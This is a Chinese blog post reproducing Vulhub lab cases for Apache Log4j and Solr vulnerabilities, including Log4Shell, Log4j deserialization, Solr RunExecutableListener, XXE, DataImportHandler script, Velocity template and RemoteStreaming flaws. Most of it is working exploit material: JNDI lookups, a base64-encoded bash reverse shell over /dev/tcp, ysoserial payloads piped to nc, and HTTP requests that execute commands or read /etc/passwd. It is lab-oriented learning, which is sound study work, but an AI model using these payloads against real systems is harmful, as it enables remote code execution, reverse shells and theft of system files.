当前位置: 首页 > news >正文

Vulhub——Log4j、solr

文章目录

  • 一、Log4j
    • 1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
    • 1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
  • 二、Solr
    • 2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)
    • 2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)
    • 2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)
    • 2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
    • Apache Solr RemoteStreaming 文件读取与SSRF漏洞

一、Log4j

1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j2是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

Apache Log4j2不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。使用dokcer启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

判断是否存在漏洞

发送数据包:

GET /solr/admin/cores?action=${jndi:ldap://4paxg6.dnslog.cn} HTTP/1.1
Host: 192.168.92.6:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

在这里插入图片描述
在这里插入图片描述

获取反弹shell

bash -i >& /dev/tcp/192.168.92.6/4444 0>&1 # 反弹shell命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} # 防止管道符失效
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.111.X.X" # -A表示远程服务器的地址
  • JDNI注入的原理:被害主机远程请求搭建了LDAP、rmi服务的远程主机,为了远程加载类。一旦被害主机请求,就会在自己系统上执行反弹shell的命令。
  • 10.111.X.X:本机IP;
  • 192.168.92.6:kali IP。

在这里插入图片描述

所有链接均可实现JDNI注入,获取shell。

访问http://192.168.92.6:8983/solr/admin/cores?action=${jndi:rmi://10.111.11.119:1099/mrkfu0}

在这里插入图片描述

在这里插入图片描述

1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

使用ysoserial生成payload,然后直接发送给192.168.92.6:4712端口即可。

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.92.6 4712
docker exec -it <container-id> /bin/bash # 进入shell

在这里插入图片描述
反弹shell

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.92.6 4712

在这里插入图片描述
在这里插入图片描述

二、Solr

2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)

Solr是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器。Solr对外提供类似于 Web-service 的 API 接 口。用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果。
注意:Solr来提供的http服务,Lucene不提供,他是一个应用程序接口。

影响版本:7.1.0之前版本

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983,可以看到solr的管理页面。
在这里插入图片描述
首先需要创建一个core,直接在web上创建会报错
在这里插入图片描述

  1. /opt/solr/server/solr新建test目录;
  2. /opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到test目录下。

在这里插入图片描述
创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 149{"add-listener":{"event":"postCommit","name":"n1","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

在这里插入图片描述
然后进行update操作,触发刚才添加的listener:

POST /solr/test/update HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 13[{"id":"n1"}]

在这里插入图片描述
在这里插入图片描述

2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)

构造XXE poc:

<?xml version="1.0" ?>
<!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"><!ENTITY % expr 'aaa)><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">&#x25;eval;&#x25;error;<!ELEMENT aa (bb'>%local_dtd;
]>
<message>any text</message>

编码后发送:

GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20expr%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: localhost.lan:8983
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0

在这里插入图片描述

注意需要知道core。

2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983
在这里插入图片描述
首先在页面左侧选择test核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

<dataConfig><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");}]]></script><document><entity name="sample"fileName=".*"baseDir="/"processor="FileListEntityProcessor"recursive="false"transformer="script:poc" /></document>
</dataConfig>

在这里插入图片描述
点击Execute with this Confuguratio

docker ps 
docker exec -it <container-id> /bin/bash

在这里插入图片描述

2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

同样需要先创建core,这次是在将/opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到/var/solr/data/test1目录下,先在/var/solr/data下创建test1文件夹。

通过如下API获取所有的core:

http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述
说明我们创建的core有效。

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

POST /solr/test1/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

在这里插入图片描述
注入Velocity模板即可执行任意命令:

http://192.168.92.6:8983/solr/test1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在这里插入图片描述

Apache Solr RemoteStreaming 文件读取与SSRF漏洞

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

docker安装成功后,需要新建core。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

访问http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json判断是否存在该漏洞。
在这里插入图片描述
发送数据包:

POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 82{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}

在这里插入图片描述
访问http://192.168.92.6:8983/solr/test/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd
在这里插入图片描述

相关文章:

  • Java用文件流mask文本文件某些特定字段
  • 使用新语法连接Qt 5中重载的信号和槽
  • 输出数据到excel中
  • 如何优雅地使用 console.log 打印数组或对象
  • 51单片机STC89C52RC——4.1 独立按键(数码管显示按键值)
  • 机器人里程计(Odometry)
  • Meta-Llama-3-8B 部署
  • 英语(1)-读音规则-连读-失去爆破
  • AJAX 数据库
  • 发那科机器人IO 分配
  • C# WPF入门学习主线篇(二十三)—— 控件模板(ControlTemplate)和数据模板(DataTemplate)
  • [pycrypto][python]pycrypto所有whl文件下载地址汇总
  • 基于自编码器的心电图信号异常检测(Python)
  • 近期学习文章
  • 基于单电阻采样的电流重构
  • canvas 绘制双线技巧
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • JS 面试题总结
  • js面向对象
  • Netty 框架总结「ChannelHandler 及 EventLoop」
  • Nginx 通过 Lua + Redis 实现动态封禁 IP
  • PAT A1017 优先队列
  • Python代码面试必读 - Data Structures and Algorithms in Python
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • Spring Cloud(3) - 服务治理: Spring Cloud Eureka
  • Vue 重置组件到初始状态
  • -- 查询加强-- 使用如何where子句进行筛选,% _ like的使用
  • 浮现式设计
  • 简析gRPC client 连接管理
  • 每天10道Java面试题,跟我走,offer有!
  • 它承受着该等级不该有的简单, leetcode 564 寻找最近的回文数
  • MiKTeX could not find the script engine ‘perl.exe‘ which is required to execute ‘latexmk‘.
  • 昨天1024程序员节,我故意写了个死循环~
  • ​io --- 处理流的核心工具​
  • # 详解 JS 中的事件循环、宏/微任务、Primise对象、定时器函数,以及其在工作中的应用和注意事项
  • #define、const、typedef的差别
  • #Linux(权限管理)
  • #数据结构 笔记三
  • (c语言版)滑动窗口 给定一个字符串,只包含字母和数字,按要求找出字符串中的最长(连续)子串的长度
  • (Repost) Getting Genode with TrustZone on the i.MX
  • (windows2012共享文件夹和防火墙设置
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (函数)颠倒字符串顺序(C语言)
  • (强烈推荐)移动端音视频从零到上手(下)
  • (译) 理解 Elixir 中的宏 Macro, 第四部分:深入化
  • (转)Linux整合apache和tomcat构建Web服务器
  • (转)winform之ListView
  • (转载)跟我一起学习VIM - The Life Changing Editor
  • .Net 6.0 处理跨域的方式
  • .net用HTML开发怎么调试,如何使用ASP.NET MVC在调试中查看控制器生成的html?
  • []error LNK2001: unresolved external symbol _m
  • [Angularjs]ng-select和ng-options
  • [Asp.net mvc]国际化
  • [C# 开发技巧]实现属于自己的截图工具
  • [C++]AVL树怎么转